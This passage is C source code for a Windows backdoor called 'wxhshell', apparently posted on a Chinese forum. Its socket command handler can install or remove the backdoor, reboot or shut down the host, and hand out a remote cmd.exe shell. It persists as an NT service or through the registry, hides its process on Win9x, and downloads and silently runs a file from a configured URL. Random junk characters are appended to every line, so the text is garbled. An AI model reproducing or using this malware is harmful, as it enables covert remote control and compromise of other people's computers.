  case '?': { K|=A:  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); I&5!=kR  
    break; m1AJ{cs  
  } {)<v&'*c~  
  // 安装 Ow,b^|  
  case 'i': { *o ix6  
    if(Install()) Aos+dP5h,8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #/37V2E  
    else $*m-R*kt  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); YS_; OFsd  
    break; ^iYj[~  
    } Wd ELV3  
  // 卸载 *LY8D<:zs  
  case 'r': { U6s[`H3I{  
    if(Uninstall()) f|(M.U-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); xT2PyI_:  
    else 9>#6*/Oa7  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); K*dCc}:`  
    break; @C aG9]  
    } A3*!"3nU  
  // 显示 wxhshell 所在路径  %;!.n{X  
  case 'p': { qqU 64E  
    char svExeFile[MAX_PATH]; hi[pVk~B)  
    strcpy(svExeFile,"\n\r"); 5!9zI+S|=`  
      strcat(svExeFile,ExeFile); Flb&B1  
        send(wsh,svExeFile,strlen(svExeFile),0); xgtR6E^k  
    break; yB6?`3A:  
    } -UT}/:a  
  // 重启 HxI" 8A  
  case 'b': { c:.eGH_f  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ?Mfw]z"\C)  
    if(Boot(REBOOT)) |4`{]2C  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 93hxSRw  
    else { ,2ar7 5Va  
    closesocket(wsh); 1h5 Akq  
    ExitThread(0); C7AUsYM  
    } }(u ol  
    break; e96k{C`j0  
    } &cTU sK  
  // 关机 FVBYo%Ap  
  case 'd': { }ad|g6i`  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ovV'VcUs  
    if(Boot(SHUTDOWN)) RG`1en  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); i!Ga5v8n:  
    else { <a+Z;>  
    closesocket(wsh); |Q>IrT  
    ExitThread(0); a' IdYW0  
    } ? =+WRjF  
    break; E_LN]v  
    } I2Yz#V<%ru  
  // 获取shell Z/J y'$x  
  case 's': { #$y?v%^  
    CmdShell(wsh); T[A 69O]v  
    closesocket(wsh); :~^ (g$Z  
    ExitThread(0); L/^I*p,  
    break; ?z u8)U  
  } >o,TZc\  
  // 退出 "zy7C*)>r  
  case 'x': { I<tm"?q0  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Du){rVY^d  
    CloseIt(wsh); Lj;2\]  
    break; <0?W{3NqI  
    } DlNX 3  
  // 离开 |^H5^k "Bv  
  case 'q': { ;*&-C9b  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Wv/=O}  
    closesocket(wsh); ete.!*=  
    WSACleanup(); RpYERAgT  
    exit(1); cCc( fF*^  
    break; )\^-2[;  
        } $, '*f?d  
  } \uMLY<]P  
  } N}YkMJy  
TuqH*{NNy9  
  // 提示信息 FC"8#*x  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); _wL BA^d^  
} WMg~Y"W  
  } lb1Xsgm{  
2f_:v6   
  return; s"?3]P  
} ~y[7K{{ ;T  
01o4Th m  
// shell模块句柄 >-{Hyx  
int CmdShell(SOCKET sock) <rSF*  
{ ws^ np  
STARTUPINFO si; 7J&4akT{9  
ZeroMemory(&si,sizeof(si)); SK.: Q5:  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; pY$Q  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; t&Og$@  
PROCESS_INFORMATION ProcessInfo; BL58] P84  
char cmdline[]="cmd"; xAP+FWyV  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); (_{y B[z>`  
  return 0; '[O;zJN;  
} uRe'%?W  
da~],MN  
// 自身启动模式 tFl"n;~T  
int StartFromService(void) &YeA:i?  
{ NW)1#]gg%  
typedef struct gv{ >`AN  
{ j 1HW._G  
  DWORD ExitStatus; ^y4Z+Gu[  
  DWORD PebBaseAddress; D7qOZlX16  
  DWORD AffinityMask; .XhrCi Z  
  DWORD BasePriority; :P=(k2  
  ULONG UniqueProcessId; Ld-_,-n  
  ULONG InheritedFromUniqueProcessId; r/*D:x|yN  
}   PROCESS_BASIC_INFORMATION; wn)W ?P;k  
pcI uN  
PROCNTQSIP NtQueryInformationProcess; PE5G  
{cw /!B  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; k.15CA`  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; #yvGK:F  
eQvg7aO;  
  HANDLE             hProcess; -o EW:~y  
  PROCESS_BASIC_INFORMATION pbi; 5QO9Q]I#_\  
Jqi%|,/]N  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); -C&P%tt Y  
  if(NULL == hInst ) return 0; vgN&K@hJ  
0'o:#-  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); w"&n?L  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA");  1ZB"EQ  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); FN) $0  
$]2vvr  
  if (!NtQueryInformationProcess) return 0; !_Z&a  
R_S.tT!  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ?#Q #u|~  
  if(!hProcess) return 0; lCHO;7YHX  
*s iFj CN<  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; -+-_I*(  
ges J/I  
  CloseHandle(hProcess); '(jG[ry&T  
Lbb0_-']  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); QnX(V[  
if(hProcess==NULL) return 0; %C_HXr@  
',5 ky{  
HMODULE hMod; =zs`#-^8  
char procName[255]; ]L}dzA?:  
unsigned long cbNeeded; j^2j& Ta  
v1,oilL  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); gr-OHeid  
@49S`  
  CloseHandle(hProcess); 0Pi:N{x8  
&~U ]~;@  
if(strstr(procName,"services")) return 1; // 以服务启动 N_q|\S>t/  
%3''}Y5  
  return 0; // 注册表启动 P J[`|  
} 'a.qu9PJ  
2Q:+_v  
// 主模块 ^&Y#)II  
int StartWxhshell(LPSTR lpCmdLine) ?p8_AL'RS  
{ J`1rJ  
  SOCKET wsl; V,N%;iB}  
BOOL val=TRUE; t}tEvh  
  int port=0; `&6dnSC},P  
  struct sockaddr_in door; K8Y=S12Ti  
4)o  
  if(wscfg.ws_autoins) Install(); $\y'I Q%  
gjzuG< 7m  
port=atoi(lpCmdLine); G[q$QB+  
`%WU8Yv  
if(port<=0) port=wscfg.ws_port; cD'V>[h  
fw{gx  
  WSADATA data; Q6I:"2u1  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; n#_$\ p>Yd  
nwCrZW  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   &W6^sj*k5U  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ."y1_dDql  
  door.sin_family = AF_INET; wZZt  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Rr|VD@%  
  door.sin_port = htons(port); i@M [>~  
Alw3\_X  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { %z 4Nl$\  
closesocket(wsl); c=.(!qdH  
return 1; l0A&9g*l2  
} QGmn#]w\\  
SS.dY""89  
  if(listen(wsl,2) == INVALID_SOCKET) { UFb )AnK  
closesocket(wsl); 0b(N^$js'  
return 1; K:30_l<  
} OX\F~+  
  Wxhshell(wsl); ;q6Ki.D  
  WSACleanup(); "C0Q(dr/n  
b(O3@Q6[  
return 0; y:qUn!3  
7o5BXF  
} V[vl!XM  
s#=7IH30  
// 以NT服务方式启动 m5Di=8  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) N7R!C)!IL  
{ F6 flIG&h  
DWORD   status = 0; i5,kd~%O  
  DWORD   specificError = 0xfffffff; y>e.~5;  
_[ZO p ~  
  serviceStatus.dwServiceType     = SERVICE_WIN32; < F+l  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ZoZ| M a  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 8X)Y^uGGZ  
  serviceStatus.dwWin32ExitCode     = 0; 9o:Lz5 o  
  serviceStatus.dwServiceSpecificExitCode = 0; x0w4)Ic5  
  serviceStatus.dwCheckPoint       = 0; j9+w#G]hV  
  serviceStatus.dwWaitHint       = 0; 161xAig  
>]5P 3\AQV  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); W#WVfr  
  if (hServiceStatusHandle==0) return; Sa;qW3dt3E  
tS8u  
status = GetLastError(); ?o#%Xs  
  if (status!=NO_ERROR) ?zHPJLv|Y  
{ L<{i ,'M  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ThbGQ"/  
    serviceStatus.dwCheckPoint       = 0; zi*R`;_`,  
    serviceStatus.dwWaitHint       = 0; naznayy  
    serviceStatus.dwWin32ExitCode     = status; .$)  
    serviceStatus.dwServiceSpecificExitCode = specificError; *>qp:;,DKP  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); H@8sNV/u  
    return; gn".u!9j  
  } m<"WDU?y;  
HYSIN^<oy  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; tr}Loq\y  
  serviceStatus.dwCheckPoint       = 0; *CTlOy  
  serviceStatus.dwWaitHint       = 0; (|1A?@sJ#h  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); nq8C'Fo!6T  
} 2Gaa(rJ5o  
6]%sFy2  
// 处理NT服务事件,比如:启动、停止 * U=s\  
VOID WINAPI NTServiceHandler(DWORD fdwControl) pYZ6e_j1 ~  
{ 'o>B'$  
switch(fdwControl) -"60d @.  
{ H6 HVu |  
case SERVICE_CONTROL_STOP: @eIJ]p  
  serviceStatus.dwWin32ExitCode = 0; r/6o \-  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; _#8RSr8'y  
  serviceStatus.dwCheckPoint   = 0; Ur=(.%@  
  serviceStatus.dwWaitHint     = 0; R)ITy!z  
  { b-Q>({=i  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); +8Ymw:D7a  
  } d8=x0~7  
  return; 8::$AQL3  
case SERVICE_CONTROL_PAUSE: ?[Q3q4  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; yx&51G$  
  break; ;8{4!S&b  
case SERVICE_CONTROL_CONTINUE: C-6F]2:  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; )6,=f.%  
  break; '|p$)yx2  
case SERVICE_CONTROL_INTERROGATE: HqD^B[ jS  
  break; Pax|x15  
}; MC:@U~}6  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); rJbf_]^  
} =\wxsL  
>!bJslWA  
// 标准应用程序主函数 FOy|F-j  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 8=uu8-l8g  
{ E+g@M8D  
E3gh?6  
// 获取操作系统版本 Tl[!=S  
OsIsNt=GetOsVer(); v4c[(&  
GetModuleFileName(NULL,ExeFile,MAX_PATH); P?B;_W+~A.  
LKOwxF#TKT  
  // 从命令行安装 P0j8- I  
  if(strpbrk(lpCmdLine,"iI")) Install(); p(`6hWx  
~T,c"t2  
  // 下载执行文件 }"PU%+J  
if(wscfg.ws_downexe) { 8sTp`}54 J  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 9V@V6TvW>&  
  WinExec(wscfg.ws_filenam,SW_HIDE); G5aieD.#  
} Ne{?:h.!  
'2nhv,|.U  
if(!OsIsNt) { *XbEiMJ  
// 如果时win9x,隐藏进程并且设置为注册表启动 ]<rkxgMW>  
HideProc(); oO|KEY(  
StartWxhshell(lpCmdLine); 0C irfcs}Z  
} 6vNrBB  
else %Iv,@}kvT+  
  if(StartFromService()) S:oi< F  
  // 以服务方式启动 :AF =<X*5  
  StartServiceCtrlDispatcher(DispatchTable); h"_;IUZ!  
else yt=3sq  
  // 普通方式启动 7gvnl~C(  
  StartWxhshell(lpCmdLine); 92x(u%~E  
hYNY"VB  
return 0; k_5L4c:"  
}
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只看该作者 1 发表于: 2006-10-10
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